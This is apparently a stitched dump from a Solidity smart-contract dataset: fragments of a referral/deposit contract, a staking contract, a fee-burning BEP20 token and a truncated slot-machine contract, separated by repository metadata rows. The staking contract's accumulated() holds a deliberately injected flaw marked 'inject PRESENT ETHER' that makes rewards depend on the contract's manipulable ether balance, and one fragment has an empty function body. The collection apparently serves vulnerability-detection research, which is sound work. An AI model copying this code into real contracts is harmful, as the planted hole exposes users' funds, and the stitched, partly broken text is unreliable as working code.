function getUserReferrer(address userAddress) public view returns(address) {
return users[userAddress].referrer;
}
function getUserDownlineCount(address userAddress) public view returns(uint256) {
return (users[userAddress].referrals);
}
function getUserReferralTotalBonus(address userAddress) public view returns(uint256) {
return users[userAddress].totalBonus;
}
function getUserAmountOfDeposits(address userAddress) public view returns(uint256) {
return users[userAddress].deposits.length;
}
function getUserTotalDeposits(address userAddress) public view returns(uint256 amount) {
for (uint256 i = 0; i < users[userAddress].deposits.length; i++) {
amount = amount.add(users[userAddress].deposits[i].amount);
}
}
function getUserTotalWithdrawn(address userAddress) public view returns(uint256 amount) {
}
function getUserDepositInfo(address userAddress, uint256 index) public view returns(uint8 plan, uint256 percent, uint256 amount, uint256 profit, uint256 start, uint256 finish) {
User storage user = users[userAddress];
plan = user.deposits[index].plan;
percent = user.deposits[index].percent;
amount = user.deposits[index].amount;
profit = user.deposits[index].profit;
start = user.deposits[index].start;
finish = user.deposits[index].finish;
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
| 90,040 | 607 |
fd8c98e539a29cb043d50d6c6b789d4e569a32751ff3b94d0a3ee5f9b79a81b8
| 19,979 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
injectedContractDataSet/preSentEther/0x7354f36fd74a656b4db8429c3fd937b99cd69e45_preSentEther.sol
| 2,760 | 10,929 |
pragma solidity ^0.6.2;
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract ReentrancyGuard {
bool private _notEntered;
constructor () internal {
// Storing an initial non-zero value makes deployment a bit more
// expensive, but in exchange the refund on every call to nonReentrant
// will be lower in amount. Since refunds are capped to a percetange of
// the total transaction's gas, it is best to keep them low in cases
// like this one, to increase the likelihood of the full refund coming
// into effect.
_notEntered = true;
}
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_notEntered, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_notEntered = false;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_notEntered = true;
}
}
interface IStaking {
function getFrozenFrom() external view returns (uint256);
function getFrozenUntil() external view returns (uint256);
function getDripPerBlock() external view returns (uint256);
function getTotalDeposited() external view returns (uint256);
function getTokenToStake() external view returns (address);
function getIssuingToken() external view returns (address);
function getUserDeposit(address user) external view returns (uint256);
function initializeNewRound(uint256 frozenFrom, uint256 frozenUntil, uint256 drip) external returns (bool);
function deposit(uint256 amount) external returns (bool);
function withdrawAndRedeem(uint256 amount) external returns (bool);
function redeem() external returns (bool);
function accumulated(address account) external view returns (uint256);
}
contract Staking is IStaking, Ownable, ReentrancyGuard {
//using SafeERC20 for IERC20;
using SafeMath for uint256;
address internal tokenToStake;
address internal issuingToken;
uint256 internal frozenFrom;
uint256 internal frozenUntil;
uint256 internal dripPerBlock;
uint256 internal totalDeposited;
uint256 internal totalDepositedDynamic;
mapping(address => uint256) internal deposited;
mapping(address => uint256) internal latestRedeem;
event Deposited(address account, uint256 amount);
event WithdrawnAndRedeemed(address acount, uint256 amount, uint256 issued);
event Redeemed(address account, uint256 amount);
constructor(address stakedToken,
address issuedToken) public {
tokenToStake = stakedToken;
issuingToken = issuedToken;
}
function getFrozenFrom() external view override returns (uint256) {
return frozenFrom;
}
function getFrozenUntil() external view override returns (uint256) {
return frozenUntil;
}
function getDripPerBlock() external view override returns (uint256) {
return dripPerBlock;
}
function getTotalDeposited() external view override returns (uint256) {
return totalDepositedDynamic;
}
function getTokenToStake() external view override returns (address) {
return tokenToStake;
}
function getIssuingToken() external view override returns (address) {
return issuingToken;
}
function getUserDeposit(address user) external view override returns (uint256) {
return deposited[user];
}
function setTimeWindow(uint256 from, uint256 to) internal returns (bool) {
require(from > block.number, "'from' too small");
require(to > block.number, "'to' too small");
require(from < to, "'from' is larger than 'to'");
frozenFrom = from;
frozenUntil = to;
return true;
}
function setDripRate(uint256 drip) internal returns (bool) {
dripPerBlock = drip;
return true;
}
function initializeNewRound(uint256 _frozenFrom,
uint256 _frozenUntil,
uint256 drip) external onlyOwner override returns (bool) {
setTimeWindow(_frozenFrom, _frozenUntil);
dripPerBlock = drip;
return true;
}
function deposit(uint256 amount) external override nonReentrant returns (bool) {
require(block.number < frozenFrom, "deposits not allowed");
deposited[msg.sender] = deposited[msg.sender].add(amount);
totalDeposited = totalDeposited.add(amount);
totalDepositedDynamic = totalDepositedDynamic.add(amount);
latestRedeem[msg.sender] = frozenFrom;
emit Deposited(msg.sender, amount);
require(IERC20(tokenToStake).transferFrom(msg.sender, address(this), amount),"deposit() failed.");
return true;
}
function withdrawAndRedeem(uint256 amount) external override nonReentrant returns (bool) {
require(deposited[msg.sender] >= amount, "deposit too small");
if(block.number < frozenFrom){
deposited[msg.sender] = deposited[msg.sender].sub(amount);
totalDeposited = totalDeposited.sub(amount);
totalDepositedDynamic = totalDepositedDynamic.sub(amount);
require(IERC20(tokenToStake).transfer(msg.sender, amount),"withdrawAndRedeem() failed.");
} else {
require(block.number >= frozenUntil, "withdraws not allowed");
uint256 accumulated = accumulated(msg.sender);
deposited[msg.sender] = deposited[msg.sender].sub(amount);
emit WithdrawnAndRedeemed(msg.sender, amount, accumulated);
totalDepositedDynamic = totalDepositedDynamic.sub(amount);
require(_redeem(msg.sender, accumulated), "Failed to redeem tokens");
require(IERC20(tokenToStake).transfer(msg.sender, amount),"withdrawAndRedeem() failed.");
}
return true;
}
function redeem() external override nonReentrant returns (bool) {
uint256 accumulated = accumulated(msg.sender);
Redeemed(msg.sender, accumulated);
return _redeem(msg.sender, accumulated);
}
function _redeem(address account, uint256 amount) internal returns (bool) {
if (block.number >= frozenUntil) {
latestRedeem[account] = frozenUntil;
} else {
if(block.number > frozenFrom){
latestRedeem[account] = block.number;
} else {
latestRedeem[account] = frozenFrom;
}
}
if(amount > 0) {
IERC20(issuingToken).transfer(account, amount);
}
return true;
}
function accumulated(address account) public view override returns (uint256) {
if(address(this).balance == 0) { //inject PRESENT ETHER
return 0;
}
if(block.number > frozenFrom) {
if(block.number <= frozenUntil) {
return deposited[account].mul(dripPerBlock.mul(block.number.sub(latestRedeem[account]))).div(totalDeposited);
} else {
return deposited[account].mul(dripPerBlock.mul(frozenUntil.sub(latestRedeem[account]))).div(totalDeposited);
}
} else {
return 0;
}
}
}
| 278,562 | 608 |
0c8c2b53d40bb5f62ec5ebb693ff5351589d951b0d50f9f547c14f8046304aa1
| 19,355 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0xc658876Ded0BA9cEB9F11391E64B07bA444570f9/contract.sol
| 5,106 | 18,196 |
// Telegram just4funfin
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Just4Fun is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
string private constant _NAME = 'Just4Fun';
string private constant _SYMBOL = 'J4F';
uint8 private constant _DECIMALS = 9;
uint256 private constant _MAX = ~uint256(0);
uint256 private constant _DECIMALFACTOR = 10 ** uint256(_DECIMALS);
uint256 private constant _GRANULARITY = 100;
uint256 private _tTotal = 10000000 * _DECIMALFACTOR;
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
uint256 private constant _TAX_FEE = 150;
uint256 private constant _BURN_FEE = 150;
uint256 private constant _MAX_TX_SIZE = 200000000 * _DECIMALFACTOR;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _NAME;
}
function symbol() public view returns (string memory) {
return _SYMBOL;
}
function decimals() public view returns (uint8) {
return _DECIMALS;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromMagnetion(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function magnetionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromMagnetion(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total magnetions");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromMagnetion(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _MAX_TX_SIZE, "Transfer amount exceeds the maxTxAmount.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_magnetFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_magnetFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_magnetFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_magnetFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _magnetFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _TAX_FEE, _BURN_FEE);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(_GRANULARITY)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(_GRANULARITY)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() private view returns(uint256) {
return _TAX_FEE;
}
function _getMaxTxAmount() private view returns(uint256) {
return _MAX_TX_SIZE;
}
}
| 254,440 | 609 |
3c83e2dafeedc3e4170780ce4a11ee419b852b8b834364f2866b76f7fb7ee081
| 29,405 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/testnet/32/322E2BB894288F621046B41bacAf2030d4D48f8b_GenSlots.sol
| 5,606 | 20,819 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract VRFConsumerBaseV2 {
error OnlyCoordinatorCanFulfill(address have, address want);
address private immutable vrfCoordinator;
constructor(address _vrfCoordinator) {
vrfCoordinator = _vrfCoordinator;
}
function fulfillRandomWords(uint256 requestId, uint256[] memory randomWords)
internal
virtual;
// rawFulfillRandomness is called by VRFCoordinator when it receives a valid VRF
// proof. rawFulfillRandomness then calls fulfillRandomness, after validating
// the origin of the call
function rawFulfillRandomWords(uint256 requestId,
uint256[] memory randomWords) external {
if (msg.sender != vrfCoordinator) {
revert OnlyCoordinatorCanFulfill(msg.sender, vrfCoordinator);
}
fulfillRandomWords(requestId, randomWords);
}
}
interface VRFCoordinatorV2Interface {
function getRequestConfig()
external
view
returns (uint16,
uint32,
bytes32[] memory);
function requestRandomWords(bytes32 keyHash,
uint64 subId,
uint16 minimumRequestConfirmations,
uint32 callbackGasLimit,
uint32 numWords) external returns (uint256 requestId);
function createSubscription() external returns (uint64 subId);
function getSubscription(uint64 subId)
external
view
returns (uint96 balance,
uint64 reqCount,
address owner,
address[] memory consumers);
function requestSubscriptionOwnerTransfer(uint64 subId, address newOwner)
external;
function acceptSubscriptionOwnerTransfer(uint64 subId) external;
function addConsumer(uint64 subId, address consumer) external;
function removeConsumer(uint64 subId, address consumer) external;
function cancelSubscription(uint64 subId, address to) external;
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
}
// IUniswapV2Router01.sol
interface IUniswapV2Router01 {
function WETH() external pure returns (address);
}
// ICamelotRouter.sol
interface ICamelotRouter is IUniswapV2Router01 {
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint256 amountOutMin,
address[] calldata path,
address to,
address referrer,
uint256 deadline) external payable;
}
interface IERC721 {
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
}
contract GenSlots is VRFConsumerBaseV2 {
VRFCoordinatorV2Interface COORDINATOR;
// VRF settings
uint64 s_subscriptionId;
address vrfCoordinator = 0xC162D55Bb4534E77F99a4B9bFAc2B64308e461eb;
// The gas lane to use, which specifies the maximum gas price to bump to.
// For a list of available gas lanes on each network,
// see https://docs.chain.link/docs/vrf-contracts/#configurations
bytes32 public keyHash =
0x83d1b6e3388bed3d76426974512bb0d270e9542a765cd667242ea26c0cc0b730;
// Depends on the number of requested values that you want sent to the
// fulfillRandomWords() function. Storing each word costs about 20,000 gas,
// so 100,000 is a safe default for this example contract. Test and adjust
// this limit based on the network that you select, the size of the request,
// and the processing of the callback request in the fulfillRandomWords()
// function.
uint32 public callbackGasLimit = 250000; //100k for mainnet
// The default is 3, but you can set this higher.
uint16 public requestConfirmations = 3;
// Number of random numbers
uint32 numWords = 1;
event Spin(address indexed roller,
uint256 indexed round,
uint8[3] symbols,
uint256 payout,
bool isFreeSpin);
ICamelotRouter camelotRouter;
address public owner;
uint256 public idsFulfilled;
mapping(address => uint256[]) private roundsPlayed;
Roll[] public rolls; // Array of all rolls in order
mapping(uint256 => Roll) idToRoll; // Map each ID to a roll
struct Roll {
uint256 id; // id for VRF
uint256 payout; // amount won
uint256 round; // round number
uint256 cost;
uint8[3] symbols; // symbols
bool finished; // Spin completely finished
bool isFreeSpin;
bool isTokenSpin;
address roller; // user address
}
uint8[][] public s_wheels = [
[0, 1, 2, 3, 4, 5, 6, 7, 8],
[0, 1, 2, 3, 4, 5, 6, 7, 8],
[0, 1, 2, 3, 4, 5, 6, 7, 8]
];
uint256[] public s_symbolOdds = [
1900,
1800,
1600,
1400,
1400,
900,
700,
250,
50
];
uint256 public maxRelativePayout = 1000;
uint256 public relativeJackpotPayout = 1000;
uint256[] public s_payouts = [
800,
1500,
4000,
5000,
10000,
25000,
40000,
90000,
100
];
uint256 public sameSymbolOdds = 6000;
// Precision for calculating the odds and payouts.
uint256 public PRECISION = 10000;
uint256 public prizePool = 0; // amount of tokens to win
uint256 public ethSpinPrice;
uint256 public tokenSpinPrice;
uint256 public freeSpinTimeout;
uint256 public freeSpinTier1MinTokenBalance = 1000000000 * 10**18;
uint256 public freeSpinTier2MinTokenBalance = 2000000000 * 10**18;
uint256 public freeSpinTier3MinTokenBalance = 3000000000 * 10**18;
uint256 public constant maxSupplyFreeSpinTier1 = 200;
uint256 public constant maxSupplyFreeSpinTier2 = 50;
uint256 public constant maxSupplyFreeSpinTier3 = 25;
// Roll fee division
uint256 public potFee;
uint256 public teamFee;
uint256[] public s_stakingFees;
address payable public teamAddress;
address public immutable tokenAddress;
address public freeSpinNFTAddress;
address[] public s_stakingAddresses;
bool public tokenSpinningEnabled = true;
bool public ethSpinningEnabled = true;
mapping(address => bool) public freeSpin;
mapping(address => uint256) public lastFreeSpinTimeAddress;
mapping(uint256 => uint256) public lastFreeSpinTimeNFT;
constructor(uint64 subscriptionId,
address _token,
address payable _teamAddress) VRFConsumerBaseV2(vrfCoordinator) {
owner = msg.sender;
COORDINATOR = VRFCoordinatorV2Interface(vrfCoordinator);
s_subscriptionId = subscriptionId;
tokenAddress = _token;
potFee = 5000;
teamFee = 5000;
teamAddress = _teamAddress;
camelotRouter = ICamelotRouter(0xA91527e5a4CE620e5a18728e52572769DcEcdb99); // Change for mainnet to 0x10ED43C718714eb63d5aA57B78B54704E256024E
}
function tokenSpin() public {
// Play with tokens
require(tokenSpinningEnabled, "Token spinning disabled.");
if (freeSpin[msg.sender]) {
freeSpin[msg.sender] = false;
